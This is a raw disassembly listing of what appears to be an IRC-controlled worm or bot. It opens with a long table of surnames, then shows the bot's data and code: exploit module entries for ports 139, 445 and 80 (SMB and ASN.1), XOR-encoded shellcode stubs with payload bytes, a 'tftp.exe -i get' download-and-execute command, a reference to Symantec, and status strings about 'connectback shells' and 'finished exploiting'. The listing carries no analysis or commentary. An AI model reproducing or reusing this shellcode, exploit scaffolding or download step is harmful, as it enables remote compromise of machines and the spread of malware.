aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------

loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------

loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296

loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------

loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1

loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------

loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606

loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
